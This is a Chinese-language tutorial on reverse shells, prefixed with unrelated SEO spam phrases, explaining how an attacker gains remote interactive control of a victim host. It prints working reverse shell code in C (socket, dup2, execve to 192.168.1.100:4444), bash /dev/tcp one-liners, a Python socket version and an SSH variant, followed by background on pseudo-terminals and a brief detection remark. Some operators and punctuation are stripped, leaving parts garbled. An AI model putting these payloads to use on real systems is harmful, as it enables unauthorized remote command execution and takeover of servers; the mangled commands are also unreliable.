成都公司建网站,建站塔山双喜,wordpress 分类列表,郑州专业做淘宝直播网站反弹 Shell 技术详解
一、前置知识
反弹 shell#xff08;Reverse Shell#xff09;是一种技术#xff0c;攻击者利用它可以在远程主机上获得一个交互式的命令行接口。通常情况下#xff0c;反弹 shell 会将标准输入#xff08;stdin#xff09;、标准输出#xff08;…反弹 Shell 技术详解
一、前置知识
反弹 shellReverse Shell是一种技术攻击者利用它可以在远程主机上获得一个交互式的命令行接口。通常情况下反弹 shell 会将标准输入stdin、标准输出stdout和标准错误stderr重定向到网络套接字socket以便在远程主机上执行命令并接收结果。攻击者的服务端通过监听来自受害服务器的请求对目标服务器下发指令并获取执行结果以达到控制受害服务器的目的。
二、反弹 Shell 的基本原理
1. 典型反弹 Shell 的原理
在典型的反弹 shell 中攻击者会创建一个套接字socket并将其绑定到标准输入、输出和错误的文件描述符0, 1, 2。这样做的目的是让所有用户输入、程序输出和错误信息都通过这个套接字传输到远程服务器。
2. 文件描述符重定向
为了实现反弹 shell一般需要以下几个步骤
创建一个套接字 并连接到远程服务器。使用 dup2() 系统调用将 标准输入0、标准输出1和标准错误2重定向到该套接字。执行一个新的 shell如 /bin/sh 或 /bin/bash使得新启动的 shell 使用这些重定向的文件描述符。
C 语言实现示例
int main() {int sockfd;struct sockaddr_in server_addr;// 创建套接字sockfd socket(AF_INET, SOCK_STREAM, 0);if (sockfd 0) {perror(Socket creation failed);return -1;}// 设置服务器地址server_addr.sin_family AF_INET;server_addr.sin_port htons(4444); // 目标端口inet_pton(AF_INET, 192.168.1.100, server_addr.sin_addr); // 目标IP地址// 连接到服务器if (connect(sockfd, (struct sockaddr *)server_addr, sizeof(server_addr)) 0) {perror(Connection failed);return -1;}// 将标准输入、输出和错误重定向到套接字dup2(sockfd, 0); // stdindup2(sockfd, 1); // stdoutdup2(sockfd, 2); // stderr// 执行新的 shellexecve(/bin/sh, NULL, NULL);close(sockfd);return 0;
}3. 关于文件描述符 0 1 2 的使用
并不是所有的反弹 shell 实现都严格使用文件描述符 0, 1, 2 指向套接字。虽然这是最常见的方式但也有其他方法可以实现类似的效果 直接使用套接字文件描述符 bash -i /dev/tcp/192.168.1.100/4444 01使用其他文件描述符 int sockfd socket(AF_INET, SOCK_STREAM, 0);
dup2(sockfd, 10); // 使用文件描述符 10 作为输出
dup2(sockfd, 11); // 使用文件描述符 11 作为输入
dup2(sockfd, 12); // 使用文件描述符 12 作为错误使用管道或者命名管道 复杂的反弹 shell 实现可能会使用管道pipe或命名管道FIFO来实现数据的传递而不是直接使用套接字文件描述符。
三、几种常见的反弹 Shell 的实现方式对比
使用 Bash 实现反弹 Shell
工作机制
Bash 是一个 Unix shell 和命令语言广泛用于脚本编写和命令行操作。可以直接使用 Bash 内置功能来创建一个连接到远程服务器的交互式 shell。
文件描述符处理
bash -i /dev/tcp/192.168.1.100/4444 010 (stdin): 标准输入被重定向到 /dev/tcp/192.168.1.100/44441 (stdout): 标准输出被重定向到 /dev/tcp/192.168.1.100/44442 (stderr): 标准错误被重定向到 /dev/tcp/192.168.1.100/4444
基于网络套接字 Socket 的反弹 Shell 实现
示例代码【Python】
import socket, subprocess, os
s socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((192.168.1.100, 4444))
os.dup2(s.fileno(), 0) # 将标准输入重定向到套接字
os.dup2(s.fileno(), 1) # 将标准输出重定向到套接字
os.dup2(s.fileno(), 2) # 将标准错误重定向到套接字
subprocess.call([/bin/sh, -i]) # 启动交互式 Bash shell基于 SSH 的反弹 Shell 实现
示例代码【SSH】
ssh -R 4444:localhost:22 userremote_server bash -i /dev/tcp/localhost/4444 01命令解释如下
ssh -R启用 ssh 远程端口转发功能远端服务器的该端口流量转发到本地远端启用端口给本地的操作机用-R 4444:localhost:22在远程服务器上打开端口 4444并将其转发到本地的 SSH 端口 22userremote_server指定远程服务器的用户名和地址bash -i /dev/tcp/localhost/4444 01在远程服务器上启动一个交互式 Bash shell并将其标准输入、输出和错误重定向到本地的 4444 端口。
其他反弹方式
基于各种编程语言实现原理和上述雷同基于各种第三方工具实现原理上述相同复杂的反弹 shell 语句结合各种管道包括命名管道伪终端中转和内存文件实现等
其他知识补充
伪终端
伪终端是指在 Linux 系统中由终端模拟器创建的一对字符设备包括一个 master 端和一个 slave 端。
设备类型
master 端位于用户态对应一个文件描述符用于与终端模拟器如终端窗口交互。slave 端位于 /dev/pts/ 目录下的一个文件用于与运行在虚拟终端上的程序交互。
功能与作用
数据转发伪终端驱动程序负责将 master 端的输入数据转发给 slave 端反之亦然。例如用户在终端窗口中输入的命令通过 master 端传送给 shellshell 的输出则通过 slave 端返回给终端窗口显示。虚拟化允许在图形界面或远程连接中模拟实际终端的行为使得程序能够像在真实终端上运行一样处理键盘输入和屏幕输出。
应用场景
图形界面终端如 xterm、gnome-terminal 等通过伪终端实现用户与 shell 的交互。远程 shell如 ssh 连接客户端和服务器之间通过伪终端中继输入和输出。多路复用器如 screen 和 tmux通过伪终端实现会话的多路复用和切换。
技术实现
创建伪终端通过打开 /dev/ptmx 文件系统会生成一个新的伪终端对包括一个 master 和一个 slave 设备。文件描述符master 端是一个文件描述符而 slave 端是一个 /dev/pts/nn 文件nn 是一个数字表示特定的伪终端。
与终端的区别
终端tty是物理设备或虚拟控制台如 tty1-6直接连接到键盘和显示器。伪终端pty是软件模拟的虚拟终端用于图形界面或远程连接提供与终端相似的功能。
安全性与检测
在反弹 Shell 的上下文中伪终端可以被用来重定向 shell 的输入输出到网络连接从而实现远程控制。例如通过 bash -i /dev/tcp/10.10.XX.XX/666 01 命令可以将 shell 的输入输出重定向到指定的 TCP 地址实现反弹 Shell 的功能。这种行为在安全检测中可能被视为异常因为它绕过了正常的输入输出路径。 by 久违 好久没写了抽空梳理点基础知识